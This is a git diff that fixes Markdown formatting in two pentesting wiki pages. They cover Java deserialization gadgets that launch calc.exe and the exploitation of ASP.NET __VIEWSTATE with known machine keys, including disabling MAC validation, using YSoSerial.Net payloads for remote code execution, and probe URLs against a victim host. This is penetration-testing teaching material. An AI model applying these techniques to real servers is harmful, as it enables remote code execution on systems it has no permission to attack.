going to see how to serialize and deserialize a Person object to execute this calculator:** +Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to b **executed**.\ +In the example, the **readObject function** of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:** ```java import java.io.Serializable; @@ -84,4 +84,4 @@ This example was taken from [https://medium.com/@knownsec404team/java-deserializ ### Conclusion -As you can see in this very basic example, the "vulnerability" here appears because the **readObject **function is **calling other vulnerable functions**. +As you can see in this very basic example, the "vulnerability" here appears because the **readObject** function is **calling other vulnerable functions**. diff --git a/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md b/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md index 964f6f6b..e0be26ed 100644 --- a/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md +++ b/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md @@ -1,6 +1,6 @@ -# Exploiting \__VIEWSTATE knowing the secrets +# Exploiting \_\_VIEWSTATE knowing the secrets -**The content of this post was extracted from **[**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)**** +**The content of this post was extracted from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)**** ## Introduction @@ -11,7 +11,7 @@ It is normally possible to **run code on a web server where a valid ViewState ca * **Validation key and its algorithm** **prior** to .NET Framework version **4.5** * **Validation key, validation algorithm, decryption key, and decryption algorithm** in .NET Framework version 4.5 or above -In order to prevent manipulation attacks, .NET Framework can** sign and encrypt** the ViewState that has been serialised using the `LosFormatter` class. It then verifies the signature using the message authentication code (MAC) validation mechanism. The `ObjectStateFormatter` class performs the signing, encryption, and verification tasks. The** keys required to perform the signing and/or encryption** mechanism can be stored in the `machineKey` section of the **`web.config`** (application level) or **`machine.config`** (machine level) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the `machineKey` section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above: +In order to prevent manipulation attacks, .NET Framework can **sign and encrypt** the ViewState that has been serialised using the `LosFormatter` class. It then verifies the signature using the message authentication code (MAC) validation mechanism. The `ObjectStateFormatter` class performs the signing, encryption, and verification tasks. The **keys required to perform the signing and/or encryption** mechanism can be stored in the `machineKey` section of the **`web.config`** (application level) or **`machine.config`** (machine level) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the `machineKey` section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above: ```markup @@ -22,7 +22,7 @@ It should be noted that when a `machineKey` section has not been defined within ## RCE with disabled ViewState MAC Validation -In the past, it was possible to** disable the MAC validation** simply by setting the `enableViewStateMac` property to `False`. Microsoft released a patch in September 2014 [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “_the ViewState MAC can no longer be disabled_” [\[4\]](https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET), it is s**till possible to disable the MAC validation feature by setting** the `AspNetEnforceViewStateMac` registry key to zero in: +In the past, it was possible to **disable the MAC validation** simply by setting the `enableViewStateMac` property to `False`. Microsoft released a patch in September 2014 [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “_the ViewState MAC can no longer be disabled_” [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET), it is s**till possible to disable the MAC validation feature by setting** the `AspNetEnforceViewStateMac` registry key to zero in: ``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} @@ -43,13 +43,13 @@ Alternatively, adding the following **dangerous setting** to the application lev When ViewState MAC validation has been **disabled**, the [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) project can be used to generate `LosFormatter` payloads as the ViewState in order to run arbitrary code on the server. {% endhint %} -**Prior** to the .NET Framework version **4.5**, the `__VIEWSTATE` parameter could be** encrypted whilst the MAC validation feature was disabled**. It should be noted that **most** **scanners** **do not attempt **to send an unencrypted ViewState parameter to identify this vulnerability. As a result, **manual** **testing** is required to check whether the MAC validation is disabled when the `__VIEWSTATE` parameter has been encrypted. This can be checked by sending a short random base64 string in the `__VIEWSTATE` parameter. The following URL shows an example: +**Prior** to the .NET Framework version **4.5**, the `__VIEWSTATE` parameter could be **encrypted whilst the MAC validation feature was disabled**. It should be noted that **most** **scanners** **do not attempt** to send an unencrypted ViewState parameter to identify this vulnerability. As a result, **manual** **testing** is required to check whether the MAC validation is disabled when the `__VIEWSTATE` parameter has been encrypted. This can be checked by sending a short random base64 string in the `__VIEWSTATE` parameter. The following URL shows an example: ``` https://victim.com/path/page.aspx?__VIEWSTATE=AAAA ``` -If the target page **responds with an error, the MAC validation feature has been disabled **otherwise it would have suppressed the MAC validation error message.\ +If the target page **responds with an error, the MAC validation feature has been disabled** otherwise it would have suppressed the MAC validation error message.\ However, in scenarios where you cannot see the error message this trick won't work. Automated scanners should use a **payload that causes a short delay** on the server-side. This can be achieved by executing the following ASP.NET code as an example to create a 10-second delay: @@ -76,9 +76,9 @@ string xaml_payload = @"